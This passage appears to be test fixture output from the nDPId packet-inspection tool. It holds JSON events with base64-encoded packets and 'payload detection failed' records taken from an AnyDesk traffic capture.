/PAPYwNLpp1R+vLAf2eYnHRQWb0rwbbyhC3i9joTJ8a++mPFxQiWfaWSaIzVhpsTv\/JTw5A9ZAqxWGc21IOyhAIe2YqQRRdiFNf+wh40mt\/JvDU1R3bRddMdItqohSjqLiDMCNFUqC1IN3GlMH5mIfhBSerlAEr8kh4OXFRij3XR2eJT\/xb719PGyvNmAjX2JLnUWJbfoP1P6jpIwcIDGmjLpu+AU8Yq+c3iz85LBgwpaipnFeCLN7KUepjYW7kPfKjSZE56VFgq+KnCWwwJTWdmzKsUqPUu9RZGNaQ7EB94s2CE+0qE5RBT6SFv+nP5AHecQR1RlgpVtTuTw9IyUWnwhwFZ5U75gK+fqnJNYhrJMaN0DT3ruRLJEW9HG\/aC7YcxMzgeqYlW2agLp28WbjZdhm5Qa+8gBg7Ho5j+KmKdxORublt3gCNGAGLDrenKSKQ64MLQiWFkhvBZ8aN62R5Y6YDGg7ElzcjqUQINckoRRSmwDTueLmPlsJYNlJn4CML1GHo7Qp3I+uk1kL7ElDWWi+wk\/0ph0+9GTv6aWaC+GNtNC6QQm8aiMMKMj7SSco8TsdtmZgleDi86CEZ8KhijIWmg+9j99IiGcEICd\/ocKzeNN54xYqhcid7lA+A7WEvSaB0G69\/cOuRGYjjFBVx8kjiW5pVaia637ru8QZ4UpCt89QU6elgqWyOug7JvppmUDTtvk5nWxCrMyOPfMZzB61Ha9MqqGvonfYCoLBYU\/hzMiBhIsXfDazUWOgwVr19llHVbW3Tdh6uZMW6s2fKmN\/D\/k75gC66usFkEPjMcuJ2qXkHRJvo\/avJeeZ0guO0\/v6VviCGTOysGG0EdnPEZVMDqUN+YOEpp0sVRR5HzAOIazaaju6m+F+624EKD3lwX2tY\/8ZVDcHFf+NctVvIja1cXq0j4GaRXTwkUdTAlnU+lja9ZpI1wIawpBrJq6K0yv7HvAABZ1N22e2PMBUtyrQiuLye6yBGAzZMgiJZsAL\/tUB75NoKkVOs5ZSe1V2BGPP7lXeR6OjD+CYyZvwqQ2jQQoCuRYejbPvAKSLtRcgyKCNaeRnJt0BUEq+MmXsvkYU2vH7Tyklx9PWYLdHdXvSyr+6e5sU2mY5GNmqSJhWlK9gXOOnhUhH4obs\/+PxI28yNo+iVqHDafGtoCRsIE2dzlXP6lJnmfJGm7d5lnKE13gA6ekJhM+oKdVhk0m4mCIfGT1AvvhmuTODfGUi\/Z4YARhOgMY9EdxX\/cccQ9DQ\/pExN8q6XRPbf4f365pWL5Y9ovunUGkKhJ\/Kma4Gb1JsaQbf3BnLjreykh5NI9htgCuX5HMyJ6qmE8HhkiIjUjJY\/VAQRowJ9lHIUriy6Olx8nwOX+uNq3qKYSFfwOY1nmq9RAZNsX0A64fH2kN\/zP+EmX+l9vukGA0OgFDdN3w4WMHoOgddS2pT2TEiQP8Kq4pIKHIss7rBLZ8KjFFiDEohXxW7O68OWiDXtPVBy++ySBQ6\/INslmEdzHrYEDgo9bhzxNRB9ZT3nDZn3CvWIjiS36wi9ZifFXJdO+ioajqCCcDZP5m+XY\/irAJOkE\/f3gMDesPYNYukDIAs9q8o4KcvDzAOhY7LmqX70dnVzufCMR5C8qicwWvCv8xaLbF8Zh8v1m2CCYwXqxoIv7tlIui2ts4P4TiPDTtFnwcNPJzj9nd4nOZmcOMw\/bO3ZR08\/JuSkUcTppfGMwSxUIcBYN8tA\/p0KI3rlR6PMizQojXnyC3ZszMjIaN1bCpLc5NI6F02U4jmUtNj\/OOLfWAN44hsP79Mf3y7PeRYqMeRmwWZn21PQVs4CTsuB3IWjD3QrJtQ0hHHH81hVY1V3zj7IhwiNweQ34S5e+cqhYQgPyiLcZgJ9Uag3953vtZqoZ7Is6ksoSf26gF9F\/gINeuKW4kn86fPzPm6ugTWH0C7Q3h\/B74jg5sKC8nH2Pg1I7ZLwRiKTH8aTFDBWDXqUVNNl+eIViHeLaKNjJ6PxSa1akzugZDDHH1Q3CwIncvbZhwxCEJmkQIBmIvjDlBcCoyRqhcfobWkRiFshkgtlUTB6WCYZmS+s+Zc4pDwrigH1r9jqeeueyHCm6aOUCvnUGpmb7CwcO332\/adofwcbTX\/duoTSRv3G7q2jle9NQzQyWCWaVLeK1vh+dCfmep6lSwWjr6NN5HEY3gH1Ba+MHV14wnxZO3BJMHCUy2DDgH7VQlC8W7Nb93FEadxoJ1wfBnZtR5cdpN25Ke0dTHYICYuhE\/EOrY9wVSmY63l8DxI0GQrmwErujzu73FDNTNePxXF0="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2256,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2866} +03859{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2261,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":321974,"pkt_caplen":2618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2618,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAh31AAIAGAADAqAG7wKgBstOUG56PNW7OWcRKY1AYIBCExAAAFwMDCf9Z4hNO+msXNx7FjsyUjaa85cVnfpSfQeOGnCT\/\/9S26iZm\/G5S0K25qD08mhFVrlf6zDPKfldHL1ewOlYBj+EPbELxxRz\/ND9FIpp4aDQADBW+k8\/d\/24ccpZ2cU0wHoLEu9Tu\/zKKJiqNv0j3Om2sBEw8OikRhBUeoWXKdct0yjBDSm0EtcR5EbhhQahATajUN+osMjYOp\/M8tmSdQgTYpl\/r4UZsxhtVC\/1l\/dTaukqvqL0GisEWKKFCmLKdhP+OEvpv538CbF4qc5MUEIBh6UwxwyNOKi3Yx7w++FHYNBIMltukdIJ71ajoQ\/4zM1rG\/JaosoJTKG4gqfdpb8ugHQcH0oDEjxHn4KwiFpi9RKnq7voILVUjizKSidUScFLW3D6pB1DRVIQW0CM10+wI8RsV4\/tI1wcaO9\/+mz0h6XB4cIeJkK25ZY6T51ukab9ygtlQdtFtjuc3w4i56IljkYj+x9voNTjmtJMwxd9wU7zrt2UsK8fNIhYPc9vLnpKblXyV+PE1oAoaCIDGXR3JfVUznFM4Q7UcFoUFC8062AGhzwK4gbYlz7sEnWrJDuZallIIBPHT20QpJzMLkIVGKwRYnYPQw0nu8XLOTCVyk9C4U\/aET6WNyQ9+X67lKFCqKpaFpbcoiQg60biPPxnQ3RTZG+TszIVGAg\/3yArBd7RoxKU1mAvDRmo4\/pOkJWrbUk8j1vdbRmGF8GPMrTx79RbuYr6TSbKvcQ6E\/hXzVs8RY1GMYweojXGU8GNfQ0l4a0cuhFt5HoeHD+4+aj4pTBzFsSooyLSqMl4UZUuitiBR3RHvV3b8tT6buWhTNanXxeHW1rIU1ukugUzQZGemrAnYsVcF6a+sbQUVEOpVhQCfD3mI2dySmLjCyEunpAouFLR2xhGIbutyWqI\/cKmEs0h0M5Og2K+jkXsgCdKoojk575+tXXlxoX1HwRjhxLU2raI3k1K6Pfvw+FO8WzjTC8O89CUu879ZLQwNxs0VbaBVMsNUnDTdS75DgRTx6gmDGOgwFlTJiPqQx2Obgz6TllPWRYX25KPY0\/Vz3QVGO1kR9qGyWvNmifzz+wwaW5Pg\/Z7lCn+pm0kzdTqc73227h828nEPi9+I11aTlWLMVONRXQ6GF5GfQ1wH7dgQQxtlnJ83AB\/Wh+3lM322KPltxuWo8ExGnFRi\/5Q9IGZSJA\/YyYC7AetOeBNJAeEOuLYLHLEIbSdPUhf2jLAoRYvuswsybyRrX9UaerturQMrqB\/LPFyDI\/5lv19oYgfM+AmifIm6UIGZlnV4AT9g+Z3HKI7B4S3Z26DFXy46jbENan9FFa2oEoxG7ZMgStKUb4UX59G+RSmJMQtd6NuDOrQxt0F2JbJWNZhtxAN20Vssz\/s+ltNm5jwt0zcsmoVlxgPBxC0O4l\/\/GjhKt3ogg+oUmVHZTSiNfFDp7pUawifrGJjLGh7KD1IWtDRANMGAGiAaM1I\/i\/8TGGj7bXEZsMmI+zrSvCi5bDx66cxtiePDR5KJez1TgHlTTqmJiJG3ISlPsrZ1GQYf3v8FKp63HremN9uOa92pUq1aTwvGPJozoxfRJVA8fB\/HDzrGzrdvMvbzWAJ9IvYEBJXDFljzcNTvvVIP5DlvwCbVlC7kJfPAh4i6vBCknFHMER69RTVHE8LD3oYxcOYjjvBoNCeqixVJqXjjMFjk9dkmqNksN1KxnLGNoDepuL85NVdqQQ\/vgCyPKhgvanzAWtYrhIzfOWOecwVdGeWvDY0S2iGZ7\/xu9982Ln5fEWJv42pHU5xL\/y+idSEMHJ342fTkpd3lg7jH1AoHWfQvTLKykJPALI5AmomD4WEbd7yoGAuFBDxF1NM4QRTAGm3\/q3zemDJOv19nbEX2BaitQFrprtEFM5Js8+M3Sd9f0OlLZk6Y1PBbxhAE2iFBXN2sq+njxNfJqiCn0gcR9CJJKb16+M3zffLNuxqCpda1yjafhtic3Y1+Dc+\/HKpJWavDEgbLa0RgKKK+oBgQfnSmMRIkeX5f6J7jLClRVCw0CEXJKDphvMWKetrgkHEz2VYrEzrtrrkWyg0Mi4IFCVvrQS72FAk+P3X9VaLJO4k62Sei+MTfjJWpF8W1j6liEmE5E8ADkjRV30xUw5uqxJ4HiRN2PVxBDf5c3bjbo6RZJ+mSTyXnEwYPlzdRENfR+KdZpeCRraGIeyt8Ow1dWB+UxnfWMl1Taf\/1g0poDdi9F918Fo\/xb4JLXwpdZ\/NMFLeOCkIdB+SwSumoSELcqAwke87Gj\/VBzjt6hqVmFuumenWByau9UcyPHkBzBTmfRg7c4kWiYvonIlWiWi98nTGFh5+DuGmjT0fl8wBMzN4Qbs9UntN\/KvurlurtPpprRATH7GD4b3b3yvOAQ0wNwd\/F9PWJIMFIxMdMFj8vcRlP7b53p\/QeVATqm5XhCOu3JYecp4sqs62nFpMIbzfR8ANkz3n7a1WADr\/CZGkhJcMTQiehvUztSskYjhll6+KVHB0lRlsp\/WYsIDvXopkgHt\/VcqRcFlPoIahWTvVlPIVj7OeeJ5qZXajRIO6Yu2xUkr7UJJq76Cp6T8RcWBHEFTTj\/5Jb+UEF5uJtQ24+MA8wYHNF1LZVCa\/xdMSLeTZl1WwdWB548WpbQw5Ht5sVy2ID+M1Ck8qL1CxFgfkFqASGb5+JkvH0Hf31xZvkJXUQNeGdjwiRCPLDMLziyqmMtLKWVtSsn+a\/QpZemvh5TgIlSRGclbvo9gSEycApgJldYYRL3yNuymxYPVGxI9qx+JtP\/j5aC7W68GgItrZfssp8PMJheH3A+uqTAzkszju1zCTwNL2sQLApnpmNQdPyQwN+MXeSnVIn3Tx9xZ0T7twSM\/IPm7wQpA5\/GoaTwwrdU5+jNhJAaNtFm\/ZZAoijrGqhTKI4UCWNyhWJYqC8exKv0XBbNA+M6KUwqUtZct417M9xMPZEfaKPkn8zXCphvLhvrO+cMNbVzXXjIzaf6mMntOOWITx8DnJLuU84qA\/\/41CX3hHb0R+Wkt6GD5SAAeOmT+hoDha7e8GEwPoK6lV7xojT6Y8GT8JC9cxEkURo1hS0xAAwltj\/kRd54wtTuM7mRQQ6f6ezsu8O6k7UMDGM9wXKekUowIDySmeLXyNCeEKBqvety8Pyt+hqjUA6vX3YpD0Q9geaAjRFXp4TKy46CYXh1ITq4xRyWtW3FXMFpHQfI0RDZRn0EoTz14E10\/26GpTszqzoK7ah+Y5mjPIUl1OtyoHnXVTrVajIQrfzjV+o0O4PU5w2f2QOwp0tXhWa0+Wn81N+lrIOT5PuB0GoFgahEsQ5UtqvApWp\/st9ue7DIFOiP\/7TQTNaItZ7DRJb\/A8+j6tYDLRhKcRD75P1fVHL0LMnAhmobbpmaoC6694CkM7X16XUJz0="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2261,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2584} +03704{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2262,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":322123,"pkt_caplen":2520,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2520,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAh39AAIAGAADAqAG7wKgBstOUG56PNXjSWcRKY1AYIBCExAAAFwMDCZ1Z4hNO+msXONIvX5dhxf0rygGVddVIrcem93WJpg1cdYjStQnSIkFj5Or6Tjpx\/3RlP+3JUfPvcCdb+c\/HoYRu19R50ZRPz0+42JKZ6BNcrPwkUhh+9FaXvHShbwQFSPHsjP2gr9rE+oxZIxPTXhGuHYNnYm4KT4DK6gef4weQmSriZY0597VaDTpexBD1cB99vIt7bsSj5UsPVyBsnuV1LvhfOE5chCTRLVsihP3\/vrHsp5Rbp+UxArQUhaqDT1Ew2AAsH5WMzSLyUtxK\/pc5FXARaNgk8Vm3wHy\/LiPb\/AapXWVPL19SeD55fuoMhzL9d\/YSDJBFh0qCsIULjXKldmkteXl09UKa107wlAuooX5FVqlMtIl+xao7VZAMGPE0VvznRkDskIdExd7zrYRJSCKnDuIdK9S7jUC\/eOWwCuZv0nvtGv9aEeSb+6atC5mNpgDH5xsvVWjqFO7weGYrXu+ygz\/aCiEhuqGFFdCBtTf7jJ\/aa2vDy6qcGj+mqhqmTpbzlo8Od3GcGkkgPqgXROoRi4ySywl+1ikdHfMkBrT9BcaSdRILWVyVJ5nKBIVL4JF7b9G5jUqwEuYa2hCz5E6ixfSMFgooJ6KMzktv7LZMtDISQskfktmMq7WshkG48ow2ZyyHY2D1RjzUDqSvKpuFdy++iTJEfMEklW2n88mkWT7a327qkzAlD3F8s+KroZJa9v61B2CGcYZKqax6cvo9N4d2nz9Wi68hRfqrj8kDhCwfwG7fwlGYeNBHInvgjMCl8JKMt4Idmu9I+SmSPuJ8FevXjmQkYttEiPRFB2YU7gnlFIK03pNOAtszxn0DJVyE9nr72ZtMEpq1BWe08QD9Z6u7fb4NkYPdvWvAejZ+uASDxDrxZTtThU6Znanqh+kwN81\/QUgQ8YRljbqJdeXZXYc641H+tOlEAOca4LrJMVkAR+gbB0Jj6kOcs9bxVAuB8TV1wac4yqgCEuetpnikiQFFYdNJdeZPK8ykKEA5xzMechG5R1l9o7LU3pbBDB56y1mu\/U0C8ZExdq9uICrg9S1\/RrsLY22jdc79htVhHJ76+UWnfy8bVRz1X6I4n91KL\/uGoyowPRWn+1T15DmMxvREwlDsIQ2Ywawjk2JLUF6PTdIUxrEfXDmA+N\/w7Ft87bArQBZYxlQm8driz6Li6CqGfaL\/QFnkHAbkIUb6hZ4+m4f468oTQmQwNaM7xuQzW0+eoyVzap31bUcw7GrObTTepE7Ny5L\/Wy6p7ih47drFY8tx5N5t45iyci8Ehapvsbex4sKH4is\/oO+GBADKM2aX24evoXyw\/MoVULXm7TpJTFuZKGcNlkXWTW5yDortBqQdGmspHNzyutItOPuPbCmcK64SZSyzomMOHnOnaf98DVETqg82dRVaofigyFQbDW5DbzdWvFDA\/XVGNdJpLlQ5QZma80VYAzLvN78XpG3kRaXrkzrcmmeQ9tK7+SXrt8NMdCEMuxwFd463pZVVhFgpZYByYJuwTj8m0jGVfQfdGjkgoHtdxfjFA+IXsmuwz82zGgLJtBDLUBP+d3mo1FUhKASV6ideL5qHGOjhJ2dD0sKB+NgTmX29Sr\/jvZawytPzbUI6y9NqYKpMSX2XV1TP9vg1bZYF2XLrH\/II4mptzYhs41Y8l7YPlvKtx\/FCuSFMpM0NGfvGjya74ivTY1TDJASxX4wH7DPOT7JXIPiffxIzwUgkzoJ2bGv1OCKp1tYIuiv67ItapofNeTo2fPGsJT4B0NK5srXCSux+Mn\/YjsQBQAi+XIWSF8nVBBzDOK1XIynnY5WBmSNHqu59GdAHMpjRUz9Baufz0uF0AIDtzG2h8KExX9ytOryvco4Qxul2jDLKmJ\/EKCPax0lt5Sm53\/Z4pLdWr7Wq0Yn0AxwSPWIa4En8XHG8VgnqzGnlB6r6aMKH2bLKdxKAgyivm\/f6+A7BuVIOREiyib86tnzXFcTypliU2Eeg8Ye6n0MRh3EAfhTFabumLDFOX8hVoPq70u0gkB4Q0sdufZ3rQVM5p3NQW+Tgv5KhK5oRqehEjDEtfleKaB6qZTAwXqSra2Ikkyqtkgszup7FuK6Gs9MxAz1YpnFe5pmrK3Z8qIICEfo8us+w0EteNhYmuEfaxd3FEL3V1N5Qf2yApeAFKaDQM5txv+5Wr70KWTCvp+chQhAbHvC0VkfqMZWT1v5ExAG6E0hITo++V5Vd4SJ82FPr4Hsq3qVg0z4U9zC1AnLXDUj3KGeacg1ilC5+v1KqMnYf7PLNhczCkrawgvB2swrv0MYEhRqtmDfz513+GxDC\/rlnmO0w0OGyct+wm6ozfKxMh\/3b6h+oQKxElcQYcEkQA+79VaqZqZk\/40VY5QPrsA42qtuD382geALa23hZcLHxQY5OcUKy3GPrNYaipqbTfTZWViMUJJB5MB02UJjsR+Oba8bNUfY8IDs\/J9izfAuWD4OfbjaPWH1wh4wmuikA3BKxIUMZYf4zkjBAggmwzNNzPkbgG2hDVC18NWEGh5Hj\/nrnez1GmQciJSeobnVdpYWkkGtwCQpKcox4NgBJsANzO+zeUGaxu3AsEdypgheDWgroDwKCUpFuhXcBprqunyyahInmxmoj8TBd+vNAIZN3vNd4i19vq3J0QB9Q2RH7+HkH6Yn\/TBIJqaEIAo\/OHJjVPqZTEM3J2RPeb8gg3GVEjglf8SKSuNopuRAB7vaBTJ2zQVjugxHXWPmoyajU35b3LMHQ8YyUt1ellZ2t3UJTkxxLnAhu2YlsBpz67Qogrhz7mzEpzW20CIfsf7EQvMojhmcnC0+wl3sVLt0yx6+wiEpoaee8I+NZjiU2OiB9VAiNc+ZsrxlenGGxudui394Pnftqn7dNcCTKwrlIOuc4sZtIHxS\/G8qrkAq4bxlMEueIvENDPXdYCIgvUuKCy4HDMUrzkmGgCZtN6Rh9243QbQUYCMYzB+buFFRlEPOSMX4y34bIT3UmVpam5ji4sxO9uyJCMyxza\/i3tOHvQseQybMG2LTPww9AFgoVIIk+4Sauhp36VHLLsO9JaX817u5fUXUXcrWtebdpX3qqTBvf4YMp1K8UAVgqdIl3Q1uU0O5\/uDrK6xckCuuPDUDVmjPr6A8c5fn22uSAZsyRPh+EHyiH1qzCboOlLpOtuUHJ+iUBEFWwwh\/h1w1tQ5kVg3Us+bl+xrZ8H4b8WkYjMOXWvuAJPqcUY0wX5lTQphcnDV8Hb+\/2cF+RQmLDm8RXCBI4YEODpvAuzESCZQmee7fdft5iUYNY"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2262,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2486} +06690{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2263,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":322593,"pkt_caplen":4720,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4720,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAh4FAAIAGAADAqAG7wKgBstOUG56PNYJ0WcRKY1AYIBCExAAAFwMDEjVZ4hNO+msXOZQYCTpe5SJ21+2YNLI9V1dtmtsknlI03QM5K+yOf3I6aXtuNIki29dMyR6UxBTqXvmexho9IYvYiLo8eSnqlwaR27mRRajc+oR6tmIvZQdjEUHxIzX9DHD\/kqRML3ozmpe10AiktYp5vcg7VZbv+Fciyz6sF4BVmoj9tLg1qsVK8W\/yG0LTKlNcFKZvwWmqMzbeIaiz0C2sVQc5BNYJz5FRG1gmQBFedVb27bgulfCjt5qyzxdnIBfSYwqBsmPo+iNr7u8zE\/zhG8+b9pDoH\/xAvQ3r7J73mCvElqZW4lDbPfgb3PVgy8jqIm2kXamLoph\/UbAHtPwF08ai0bWz0PgvaW3h3Q2yLhLOz+3E6ZJmtdAPCGJvW4IcWOs4AWjWBQYiOuXM1dEp5tRkYwIM2sc8Gb+WFlgg5Azj3kYIGvepPgFqbECxUiksFFcWVF+FVe9Su5ACYn2RED3nMpDSFS64CmaSC7ZQqU02qovc0qRbfud\/UcP6mIgLghaWBp7\/HkE3+BThZQjaL4YtOUxzOG\/f8+jRzvqEfNKhNsXR97Lo0RDAn1EVokgdu1raTZHUnY1O7pdXqkOOXAQWjIDxMR8s\/\/+mdO+0YucWqfEj88LrvPQI3RXlVPujEnkUnGRcgBdXfvobDP0pNTk\/6qQ51VFpU+j4+HpgOMYAM4EJ\/QtpIXIcxardehFivXq31doNYBejz1Xzl4vUa8KwAmSFthwG+7QeDWDPA0YPJ2Gr4TWCZbFH5clOrZccZoJFpwkSwHc+ZdJCP\/gMhPJHvHhMGXayJBzkgVjlLbYhGyHOlfj1\/qokDT\/MkuvKJIAjKwYQ\/97LHSxyZOBAwJKfZgAcUVzZPHjHv\/SxdBdicYbxWuZaLqeAqoXGI8ykILIg+Bk0THdn2o+y2DfaIJspJuWJ5s+NPbP8uCrxw3Poxn\/HsPTW8bufI0wmgl684U4ahvoeqZrhaIrIrdP+2Hoy\/U9jFPg6og7QPCcenO7jasaz9+2\/MMsmuggPqKjzALPFpVHwFoGrQqYGetTSjLgX1FtbTa9VipGbGcAkJLkDs1rLEJhMESYawfIQHd\/KbRnINqY7M4hmINSb3P5jnxH9xW9+hloaX5fuWFdwoCrufKdj3KmxGpfMMWp4lNT0uC0RHO\/19Nrsk2\/ZmM7LQg8pgqflCs3Gy38dlgfNMHJodDS3DG5howeJV11xUIy4g9\/eAkNpBYFz+xCC+hlGdYU+UgF4k4ComwxjaV9\/oTESBgyadWGjSJlftrMgA56ZucoNVHsngo+RqxUBOPlCfrb2k1kYjtyDclBfkZExG71XcCuseT7xNSWI4ZDuGTclRexCKIfQXMS0cF82fVkbA3BrEwhFdYU3YO5V7BQWrFtKLjC\/pDlgJWhD8+vfyMX3R1gw81azGqFrudR14tjo2IK7DYu1A70NmKvJI85cClQXlsS9bCcjQoBxJ4OplkCT9kLRtie5LojFJGZArU2DZS\/yMJs\/zUnfFlEL7yHu4lIPf9riJv83rvsqSXrOEtMaV2BQ\/kPfTX+Uzp48yUbscmGY\/bk60g25m+jUh4w5FcTdBauQ3QWwnzMJdnpcTo79mS3TOGOsFmZBjENoElFTV9yESGS8YX0e6vN8TDU\/7jWzi1Py9E9IrWpC1skXdbvefue+YFcufTMITznlVit5nhLF2Zx0OBBb8WE\/Dh\/BDJRiLNdHcfwJeqB8qgEQql7yszX+GbvVJSSE4GU+DcDfG0hEmCYw+6raBeWpYg9bpaTZjQSBbSg80U7LYPbwWMjnhnWv8HVPbm8kkVDqD9wNWBJeylpK3I1kaAk7LZyPaG9Cc+hQXe9xE6sIbrJvIKyx12ogpYM5hj8EgBrmJWe+YhS0BOwr7YuHXp4NVBIbw6yb5no4OtTndNY1jx2cwwU5fBLciLHczQY5Uy71WYFIp9Mo\/WyOHD82Zuy03nslNZ3zNHqKOMI5GT85LLDIHP1NEQ7cqGsv9\/6P677DTPsFoeiSI48AoxeXLA9arClobhbIO4oibsjkJKzeVsYxgDr8vUpZ3iyuwG9lu+SiYNrgrSt7Qlwj1ItXo5MZwFVXbU2UmO+dV5VZgLXyr2QhfGEhZvVDVE34C7nxRmmOve0KTdfW8xg6xRsEMp2qHD0E96lFo2NropOiOfm84k\/JY8HbImTSVgX2d7zaYA2F7HQlYTRTYL2gWPzSfYsAVgIDwIQxyDVBuchPpjoZiCy8c3oXGr\/AcVgsoqHpF9H0Rnfd2EGXcxV5KhQ+FOWbAUW0Rt0fark9hnqTheSfB0675m8uZWCWrGZ96lAhFe4ZoBuupGq5519rEXuo5RUZkO8rgQujpYI9yJClpaiPq0TP+0jUH5Anq3Mu7gzajt8dpRygVpam\/0pZUEoRdEZRX7\/s9Zga72vHAkoCH8x00ZFs1ZWme8cGDU8LVXZBGsCAYYhf4hJubNRX7f1a7XwK2FEQLlnd4H+uERpnBAe1IsRscQbYGGNwcCsZy\/bsPKed+93scRmzjxQErNJ1fPyQt+ek4cQlOY9OEeNXeCfNKFRD23oUQPP80rRgLTs0GkeLf+rfcK7ksH7x5Pe6iE0BAiVYu3i5jkcvRcYL\/6IJ4eZOtaEvXpOq\/fmZu3fHmssf9YGCgS+qHfSwi+gNM7\/DyOfDLCW9qTUs80AlAjpNrtK\/mT+\/b9fs54ZubetG2popLAVRDKRgvuonOpSe4jnAEQmtyZV8Pp154M7CQDEl+DXroQRfj+Pp3GNAEb4Ofm3jg\/b28YUHLjZRi5+k+WwrCp30gsSDQmSfWVs4ZIoh+gCgV8G0dqLtSZBzRWscCsZHRF7c5yWLfweNzuQA0bkRvS2dkJrOvl0yYpcA+hbgVxjpCLdpFgvWc2tOdjvj212IhDyQTMIOiABbZDKTJIMI2sYeqi4ftw9UfG\/H+BWRq+ewRCHfO+A7HozDvFSpQ1d8Ge\/Jm1b45vp1btVX7bT\/gSoi8jjH7Nrd9hclq1Hap7Ftja4FqI6iEiF3PEutuZAEKjjU1Ly2M2BBqfIakdXNgaUMkOAc3UeWSt4bulIgaMVPOffQrtaSaR1baJNIZ89IPxYdN26ttEsztHQj8XmANFB5iUxtoX+\/5KyfMMgntvwdNstJe5\/kFr3lAOzS1nvqYnN6nukmBzzbvibbrDU8js5p7PR3GVgcoLlpJSAGDwg5NZRLkXu3CBYRf1FCe19Ydc8Brw8qbSX6UN5hUQ7IUlRXiqbQC43e+YXLBH7+nitYwJUphxxnpudo+TqtRKUeQAMuKZjfvmCeLbXnGx6C37liXPVDTVAZfB5kLy38NYPkIGACsI\/WL6Zf5J1JF3ZiND88gfZ1iHjap2YTjlJ+fSzGNTP9hCiq6ZrCvhBmI4jF\/wNamokxnd8mAXaM0Y22TMNQQzLosb3+0L9zuJLZTF1oa6meeAWU07QlEjJWjIVJddQcpmq6jzJMOKf5H2QDoTttuySzutBKbGKUqLDtKOWqPudC7F3Rlj3GyLe9EJJ2Z+O1wJLX1Nk\/GrqeGsq9oIq5ORzKoRjtJ2XO3GXffxYZI6Ky8qF7FHwY4LW3JwisD7bn0q1RibNveZPfYHMg4d7lIBJhgDeXaSycP78VVtHYEpJjHIuX0EdoTi0G4xqNe8e201PvGeMJ35hlrOZoBCm8buKtSYrmOVsw717Cd6kVvbVP\/0Kizl7YHQS2sIP\/uuj9OkD5Tc\/mJi653WMGtO3PefzefbI23Q0eqyGRte0RaXyhwkrcHPPcXmpQ7NS1XK1AoWagiiyiUhTvHWpU5IHWaiCEC9AMvEcyK2KFYyBgXw5SMBR5Q+6YpQKzfVwFcgemhDRWwANBSgXPQRw+JwL5NHc8RPp54ISXUOjX8CT3fpWzMEzyRxvNjCgGQDIew4B+AATuM7kg9\/FkPV5tj2QTr0GJDcBnuev17OyG3qgOmqJReYU5yz+Mf1cEjlgDlGf1wcfcCzAR4\/a\/1NNqjR\/KCn9zU0syHnwusainfb3AqPMBTl0HmiWUc+6Ipnc3hHOAtxHW4vnsSA9qddpvxuMUELt3xTt8Zd3Zf\/bN+jNeYUNAWx8hzQBmQMuDFRWkprZHC1mkCbEuMQK4mSItmYZdEqCoMyVWTtC68ms5YLDMQ2+ts+TMDdxoGyE3IOH2u\/Hrh38PPub\/a8DIlacFD4p6vby1adiHqbGStOM1\/dFAoiIBi4K3A3T9dJ6P9w2IfObG\/k5uztsoYFz4xuA3+zGjKL1B516g1JleBb8eG\/nnjtHaZEgOf5rUx4fYnJy4stFCW6M5vJ1P5vr2AeMH55DQpN+poeZGSnaWVJ8GSBGeGznSLhTLwRjQGOfKNDzVP9MvoQUNSzArx2iw50CaB\/GnychNlh4HNjHUAFBtpAAT\/l1Jnkmm7zIFRRKBrb8Wgb45SyPjwYC8JHegU5jivbldmtkt4uuvKXIKZPw9yf2bnKTqCNR2cBjQqGLWuqzgzuPNThezlavhckeT2LmL3UicM\/Vm18Zg9PpGSGkyTShiPoPyUITjfDsbPd5gyWCADN\/f2r7xK8gmYOY3LsFvlBn8jcPZLLsZLf53rKyGeL9pQr7zjFnYpXvHWhz2uS9MNZLRJOopVWSUxWcCPHJIwal+iCGSfDW2aRdE9a2aIg3WWIbP8sSpRMabh2RB4APi0PXPtMotoQkSmAYZijm6u2YLMvJ+QGQw9rASSMAQy20E67hrz1QauppgtMZo2RSZl4ZgHuN9wynFjtePg03MjvQS0RtnJKcDc1JpOTUUtE5eaKK6iQMNDrBF\/vr4wrqmV+NDByLcspAMv4Q3jGGapsvd+hCnIEm0jbXqgs0ShhS\/Pv5lpHmTVGkUebsA5JzEybTDBAfXbuKJYXCqk2oWYHAuR71RDbeFmawJvbX627GgmczlN+hKSxquxof3zLryuodUh3f4Uowy28Efci0vHVinYbf5c2Xjsy87VXN\/p2kkyfqIa7Tparts7E7Zvpx1NgknU9EcFodXIpSm84GC98Ut\/IqXZ0za+hoMXh9vbLEvhaHE7a9G\/hh2NVLq3XCV8o\/kEjO2U7ltNWTIkGOn\/watMpmKKCJDbgtPKIvlrywqKLIrMA4xJAM1ZTtEpv5fvJYKg9mAKo0XgVyRbW5jcKc5tVbfcbl3xcRJ5jRbFONCS4ZVj1HeWBef5ark8jNhBaSvKt2j\/Qgpv55KGqg\/N2CmFaRgXqXfOaXnoXNs\/LxtQgkZ6U5xqxCUpHS6lBkDLdy8ZvVPtW5KSjhsci+twe7olQlMt4dIOyvXBgEou97ktvLNepM+F+9v4FSCulY9ONdS3F714nNYAxjs4K+6gr3Bwl3Ysw8ocVjLKFQ17Hh5L4jgfQAZ8Z6\/Ncm+XNI8uB5KNOB1Pr9wBbSkG3QeLboVq3IfyxZlGad+tVA463QCsEavqtksVCsjD7